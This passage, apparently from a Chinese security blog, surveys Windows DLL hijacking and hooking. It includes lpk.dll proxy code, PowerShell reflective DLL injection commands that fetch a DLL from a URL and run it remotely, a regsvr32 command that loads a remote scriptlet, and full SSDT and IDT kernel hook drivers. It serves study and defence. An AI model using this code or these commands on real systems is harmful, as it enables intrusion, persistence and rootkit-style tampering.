TEXT("littlehann.com"), MB_OK | MB_ICONWARNING); return; } // 入口函数 BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved) { if (dwReason == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(hModule); if(Load()) { //LpkEditControl这个数组有14个成员,必须将其复制过来 memcpy((LPVOID)(LpkEditControl+1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1),52); _beginthread(Init,NULL,NULL); } else return FALSE; } else if (dwReason == DLL_PROCESS_DETACH) { Free(); } return TRUE; } // 导出函数 ALCDECL AheadLib_LpkInitialize(void) { GetAddress("LpkInitialize"); __asm JMP EAX; } // 导出函数 ALCDECL AheadLib_LpkTabbedTextOut(void) { GetAddress("LpkTabbedTextOut"); __asm JMP EAX; } // 导出函数 ALCDECL AheadLib_LpkDllInitialize(void) { GetAddress("LpkDllInitialize"); __asm JMP EAX; } // 导出函数 ALCDECL AheadLib_LpkDrawTextEx(void) { GetAddress("LpkDrawTextEx"); __asm JMP EAX; } // 导出函数 ALCDECL AheadLib_LpkEditControl(void) { GetAddress("LpkEditControl"); __asm jmp DWORD ptr [EAX];//这里的LpkEditControl是数组,eax存的是函数指针 } // 导出函数 ALCDECL AheadLib_LpkExtTextOut(void) { GetAddress("LpkExtTextOut"); __asm JMP EAX; } // 导出函数 ALCDECL AheadLib_LpkGetCharacterPlacement(void) { GetAddress("LpkGetCharacterPlacement"); __asm JMP EAX; } // 导出函数 ALCDECL AheadLib_LpkGetTextExtentExPoint(void) { GetAddress("LpkGetTextExtentExPoint"); __asm JMP EAX; } // 导出函数 ALCDECL AheadLib_LpkPSMTextOut(void) { GetAddress("LpkPSMTextOut"); __asm JMP EAX; } // 导出函数 ALCDECL AheadLib_LpkUseGDIWidthCache(void) { GetAddress("LpkUseGDIWidthCache"); __asm JMP EAX; } // 导出函数 ALCDECL AheadLib_ftsWordBreak(void) { GetAddress("ftsWordBreak"); __asm JMP EAX; } /* win7及win7以上系统增加了KnownDLLs保护,需要在注册表 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\ExcludeFromKnownDlls 下添加 "lpk.dll" 才能顺利劫持。 */
0x3: DLL劫持防御
1. 添加KnownDLL
HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Control\Session Manager\KnownDLL
该项下的子健代表了dll的名字,如果这里存在lpk.dll,则系统不会加载当前目录下的lpk.dll,而是会去系统盘加载
Relevant Link:
http://drops.xmd5.com/static/drops/tips-9106.html http://www.yunsec.net/a/school/bdzs/fmuma/2013/0117/12276.html http://www.cnblogs.com/swyft/articles/5580342.html https://github.com/eric21/lpk http://www.cnblogs.com/goding/archive/2012/04/04/2431966.html
http://gslab.qq.com/article-205-1.htm
16. Reflective DLL Injection with PowerShell
基于powershel的dll反射注入和基于shellcode的dll反射植入原理都是一样的,区别在于执行的载体是powershell,在攻击时,系统上也会多出一个powershell进程,黑客利用漏洞获得指令的执行权限后,可以远程执行执行powershell script
0x1: How to use
The script currently allows you to load a DLL from a local file (and execute it remotely) or retrieving the DLL from a URL. It is also possible and easy to modify the script with a hardcoded DLL byte array
# loads a DLL from a URL and runs it on a remote computer: Invoke-ReflectiveDllInjection -DllUrl http://yoursite.com/sampleDLL.dll -FuncReturnType WString -ComputerName COMPUTER # loads a DLL from a file and runs it on a list of computers loaded from computers.txt: Invoke-ReflectiveDllInjection –DllPath DemoDll.dll –FuncReturnType String –ComputerName (Get-Content computers.txt) PowerShell.exe -file Invoke-ReflectivePEInjection.ps1 –DllPath C:\Users\Administrator\Documents\Visual Studio 2017\Projects\testDll\Release\testDll.dll –FuncReturnType VoidFunc –ComputerName WINDOWS-2181810
-FuncReturnType参数用于指定需要从DLL中执行的导出函数.
Once the DLL is loaded, the script will call a function of your choosing from the DLL. This means you must create a delegate function in PowerShell, retrieve the function address in the DLL, map it to the delegate function, and call the function.
The ComputerName parameter is exactly the same as ComputerName in Invoke-Command (the variable is passed directly to Invoke-Command); you can use it to specify one or more computers to run the script on remotely. This is an optional parameter, if you specify no ComputerName the script will run locally.
运行时,可能会遇到如下错误
windows默认禁止未签名过的pshell脚本
set-ExecutionPolicy RemoteSigned
Relevant Link:
http://blog.gentilkiwi.com/mimikatz https://www.defcon.org/images/defcon-21/dc-21-presentations/Bialek/DEFCON-21-Bialek-PowerPwning-Post-Exploiting-by-Overpowering-Powershell.pdf https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1 https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection https://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
17. 修改exe文件自身导入表劫持dll
在恶意软件中,黑客常用的做法大概是这样的
1. 在初始投递的恶意样本中自带一个dll文件(可能是放在资源段中) 2. 样本启动后将dll释放出来,然后复制到系统目录下(system32) 3. 遍历C盘下所有的.exe文件 4. 将每个.exe文件导入表中的kernel32.dll修改为黑客复制过来的dll文件,例如kernel32_hacked.dll 5. 这样,系统中这些程序启动时,就会由系统自己的image loader去加载kernel32_hacked.dll,从而执行其中dllMain里面的恶意逻辑 6. 为了保证系统中正常程序能正常启动运行,kernel32_hacked.dll必须拷贝原来kernel32.dll中的所有导出函数作为自己的导出函数,即做一次转发,起到Hook的逻辑
从技术原理上看,这种劫持技术和lpk劫持是一样的,区别在于lpk劫持不修改目标exe本身,而是"顺应环境",在目标exe的导入dll中挑选一个进行劫持,如果目标应用没有使用自定义的dll而只使用了原生的系统dll,则因为系统dll的反劫持保护(UnKnownDdlls)的关系,dll劫持就很难进行,遇到这种情况,就需要修改目标exe本身,对其导入的dll修改为黑客自己的dll,并在黑客放置的劫持dll中进行api转发
这种dll劫持技术有一个缺点,就是不能对运行中的进程实施dll劫持,必须等目标进程重新启动或者重新加载到对应dll的时候才会触发劫持逻辑,如果目标进程是一个运行中的常驻进程,则就需要用到其他dll注入api hook技术
Relevant Link:
https://wenku.baidu.com/view/869b06758e9951e79b8927ee http://yonsm.net/aheadlib/ https://github.com/Yonsm/AheadLib http://yonsm.net/aheadlib/
http://www.programgo.com/article/31511075396
18. 利用regsvr32 /s /i:http:注册dll组件
Regsvr32命令是Windows中控件文件(如扩展名为DLL、OCX、CPL的文件)的注册和反注册工具。命令格式
Regsvr32 [/s] [/n] [/i[:cmdline]] dllname /u 卸载安装的控件,卸载服务器注册 /s 注册成功后不显示操作成功信息框 /i 调用DllInstall函数并把可选参数[cmdline]传给它,当使用/u时用来卸载DLL /n 不调用DllRegisterServer,该参数必须和/i一起使用
黑客在获取RDP弱口令之后,常常使用at计划任务、wmi计划任务,或者psexec执行下列指令
regsvr32 /u /s /i:http://30.11.230.10/test/v.sct scrobj.dll
wireshark抓包如下
Relevant Link:
http://carywu.blog.51cto.com/13185/9536 https://technet.microsoft.com/en-us/library/bb490985.aspx
19. windows SSDT hook - 内核态hook
系统服务描述表(SSDT)也称为系统服务分发表,微软使用它来查找进入内核的系统调用,它通常不被第三方应用程序直接访问。内核代码只能被用户态的SYSCALL、SYSENTER、INT 0X2E指令来访问(这是软件中断)
typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; //这个参数是ssdt数组的基址,有了它,我们再给出具体函数的偏移,就能找到正确的函数地址了 unsigned int *ServiceCounterTableBase; unsigned int NumberOfServices; //这个是ssdt这个数组的最大值,也就是ssdt中函数的个数 unsigned char *ParamTableBase; } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
有了这个结构过后,按照偏移就可以找到想要Hook的函数的地址了。但是hook之前,需要修改内核保护,否则遇到蓝屏问题
void PageProtectOff() { __asm{ cli mov eax,cr0 and eax,not 10000h mov cr0,eax } }
Cro这个寄存器就保存了内核保护的标志位,用 10000h取反再和他进行与运算,就使标志位从1变成0了,就可以修改内核了
#include "ntddk.h" #pragma pack(1) typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; unsigned int NumberOfServices; unsigned char *ParamTableBase; } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; #pragma pack() NTSTATUS PsLookupProcessByProcessId( IN HANDLE ProcessId, OUT PEPROCESS *Process ); __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; typedef NTSTATUS(*MYNTOPENPROCESS)( OUT PHANDLE ProcessHandle, IN ACCESS_MASK AccessMask, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId );//定义一个指针函数,用于下面对O_NtOpenProcess进行强制转换 ULONG O_NtOpenProcess; BOOLEAN ProtectProcess(HANDLE ProcessId,char *str_ProtectObjName) { NTSTATUS status; PEPROCESS process_obj; if(!MmIsAddressValid(str_ProtectObjName))//这个条件是用来判断目标进程名是否有效 { return FALSE; } if(ProcessId==0)//这个条件是用来排除System Idle Process进程的干扰 { return FALSE; } status=PsLookupProcessByProcessId(ProcessId,&process_obj);//这句用来获取目标进程的EPROCESS结构 if(!NT_SUCCESS(status)) { KdPrint(("error :%X---is s process ID:%d",status,ProcessId)); return FALSE; } if(!strcmp((char *)process_obj+0x174,str_ProtectObjName))//进行比较 { ObDereferenceObject(process_obj);//对象计数器减1,为了恢复对象管理器计数,便于回收 return TRUE; } ObDereferenceObject(process_obj); return FALSE; } NTSTATUS MyNtOpenProcess ( __out PHANDLE ProcessHandle, __in ACCESS_MASK DesiredAccess, __in POBJECT_ATTRIBUTES ObjectAttributes, __in_opt PCLIENT_ID ClientId ) { //KdPrint(("%s",(char *)PsGetCurrentProcess()+0x174)); if(ProtectProcess(ClientId->UniqueProcess,"calc.exe")) { KdPrint(("%scan not open me",(char *)PsGetCurrentProcess()+0x174)); return STATUS_UNSUCCESSFUL; } //KdPrint(("Hook Success!")); return ((MYNTOPENPROCESS)O_NtOpenProcess)(ProcessHandle,//处理完自己的任务后,调用原来的函数,让其它进程正常工作 DesiredAccess, ObjectAttributes, ClientId); } void PageProtectOff()//关闭页面保护 { __asm{ cli mov eax,cr0 and eax,not 10000h mov cr0,eax } } void PageProtectOn()//打开页面保护 { __asm{ mov eax,cr0 or eax,10000h mov cr0,eax sti } } void UnHookSsdt() { PageProtectOff(); KeServiceDescriptorTable.ServiceTableBase[122]=O_NtOpenProcess;//恢复ssdt中原来的函数地址 PageProtectOn(); } NTSTATUS ssdt_hook() { O_NtOpenProcess=KeServiceDescriptorTable.ServiceTableBase[122];//保存原来的函数地址 PageProtectOff(); //将原来ssdt中所要hook的函数地址换成我们自己的函数地址 KeServiceDescriptorTable.ServiceTableBase[122]=(unsigned int)MyNtOpenProcess; PageProtectOn(); return STATUS_SUCCESS; } void DriverUnload(PDRIVER_OBJECT pDriverObject) { UnHookSsdt(); KdPrint(("Driver Unload Success !")); } NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,PUNICODE_STRING pRegsiterPath) { DbgPrint("This is My First Driver!"); ssdt_hook(); pDriverObject->DriverUnload = DriverUnload; return STATUS_SUCCESS; }
Relevant Link:
http://bbs.pediy.com/thread-176477.htm http://www.cnblogs.com/BoyXiao/archive/2011/09/04/2166596.html
20. windows IDT hook - 内核态hook
现代的处理器实现了用硬件方式触发软件事件的中断,系统发送一条命令到硬件,硬件处理完事件后会向cpu发送中断信号,中断处理器。有时,驱动或者rootkit会利用中断来执行代码,驱动程序调用ioconnectinterrupt函数为特定中断注册一个处理程序,然后为这个中断指定一个中断服务例程(ISR),每当触发该中断时,系统都会调用注册的中断服务例程
中断描述表(IDT)存储着ISR的信息,IDT表的长度与地址是由CPU的IDTR寄存器来描述的。IDTR寄存器共有48位,高32位是IDT表的基地址,低16位是IDT的长度
typedef struct _IDTR{ USHORT IDT_limit; USHORT IDT_LOWbase; USHORT IDT_HIGbase; }IDTR,*PIDTR; IDTR idtr;
__asm SIDT idtr;
可以通过以上SIDT指令可以读取IDTR寄存器。然后通过MAKEWORD宏把高位与地位组合起来就可以获得IDT表的基地址了。
简单来说,IDT表是一张位于物理内存的线性表,共有256个表项。在32位模式下,每个IDT表项的长度是8个字节(64 bit),IDT表的总长度是2048字节
kd> r idtr idtr=8003f400 kd> r idtl idtl=000007ff
通过Windbg命令 r idtr、r idtl可以读取IDT表的基地址与边界
IDT表中每一项(4byte)也称为“门描述符”,之所以这样称呼,是因为IDT表项的基本用途就是引领CPU从一个空间到另一个空间去执行,每个表项好像是一个空间到另一个空间的大门。
IDT表中可以包含以下3种门描述符,它们本质都一样,只是代表了不同的业务场景
1. 任务门描述符: 用于任务切换,里面包含用于选择任务状态段(TSS)的段选择子。可以使用JMP或CALL指令通过任务门来切换到任务门所指向的任务,当CPU因为中断或异常转移到任务门时,也会切换到指定任务 2. 中断门描述符: 用于描述中断例程的入口 3. 陷阱门描述符: 用于描述异常处理例程的入口
HOOK代码
#ifndef CXX_IDTHOOK_H # include "IDTHook.h" #endif #define WORD USHORT #define DWORD ULONG ULONG g_InterruptFun = 0; #define MAKELONG(a, b) ((LONG)(((WORD)(((DWORD_PTR)(a)) & 0xffff)) \ | ((DWORD)((WORD)(((DWORD_PTR)(b)) & 0xffff))) << 16)) NTKERNELAPI VOID KeSetSystemAffinityThread ( KAFFINITY Affinity ); NTKERNELAPI VOID KeRevertToUserAffinityThread ( VOID ); PULONG GetKiProcessorBlock() { ULONG* KiProcessorBlock = 0; KeSetSystemAffinityThread(1); //使当前线程运行在第一个处理器上 _asm { push eax mov eax,FS:[0x34] add eax,20h mov eax,[eax] mov eax,[eax] mov eax,[eax+218h] mov KiProcessorBlock,eax pop eax } KeRevertToUserAffinityThread(); return KiProcessorBlock ; } void PageProtectOn() { __asm{//恢复内存保护 mov eax,cr0 or eax,10000h mov cr0,eax sti } } void PageProtectOff() { __asm{//去掉内存保护 cli mov eax,cr0 and eax,not 10000h mov cr0,eax } } void _stdcall FilterInterruptFun() { DbgPrint("CurrentProcess : %s",(char*)PsGetCurrentProcess()+0x174); } _declspec(naked) void Fake_InterruptFun() { _asm{ pushad pushfd push fs push 0x30 pop fs call FilterInterruptFun; pop fs popfd popad jmp g_InterruptFun } }; NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObj, IN PUNICODE_STRING pRegistryString) { IDTR Idtr; PIDTENTRY pIdtEntry; ULONG ulIndex = 0 ; ULONG* KiProcessorBlock; pDriverObj->DriverUnload = DriverUnload; KiProcessorBlock = GetKiProcessorBlock(); DbgPrint("%X\r\n",KiProcessorBlock); while (KiProcessorBlock[ulIndex]) { pIdtEntry = *(PIDTENTRY*)(KiProcessorBlock[ulIndex] - 0x120 + 0x38) ; DbgPrint("IDT Base:%X\r\n",pIdtEntry); g_InterruptFun = MAKELONG(pIdtEntry[3].LowOffset,pIdtEntry[3].HiOffset); DbgPrint("InterruptFun3:%X\r\n",g_InterruptFun); PageProtectOff(); pIdtEntry[3].LowOffset = (unsigned short)((ULONG)Fake_InterruptFun & 0xffff); pIdtEntry[3].HiOffset = (unsigned short)((ULONG)Fake_InterruptFun >> 16); PageProtectOn(); ulIndex++; } return STATUS_SUCCESS; } VOID DriverUnload(IN PDRIVER_OBJECT pDriverObj) { return; }
里面获得IDT表的时候没有通过寄存器IDTR进行读取,是因为对于多核CPU来说不一定只有一个IDT表,而通过IDTR来读取只能读到一份表,所以HOOK IDT的时候一定要注意多核问题
系统维护了一个全局的处理器数组KiProcessorBlock,其中每个元素对应于一个处理器的KPRCB 对象
Relevant Link:
http://www.cnblogs.com/zibility/p/5663825.html http://www.cnblogs.com/lanrenxinxin/p/4692013.html
21. IAT hook - 用户态hook
iat hook是一种针对单个应用态进程的单点hook,这种挂钩方法修改目标进程的导入地址表(iat)
每个进程调用的 API 函数地址都保存在 IAT 表中。为了修改这个IAT表,我们可以采取dll注入或者writeremoteprocess的方法,最终目的都一样,修改远程目标进程的iat 函数调用
Relevant Link:
http://blog.csdn.net/misterliwei/article/details/840983 http://www.freebuf.com/articles/system/99141.html http://bbs.pediy.com/thread-141437.htm
Copyright (c) 2017 LittleHann All rights reserved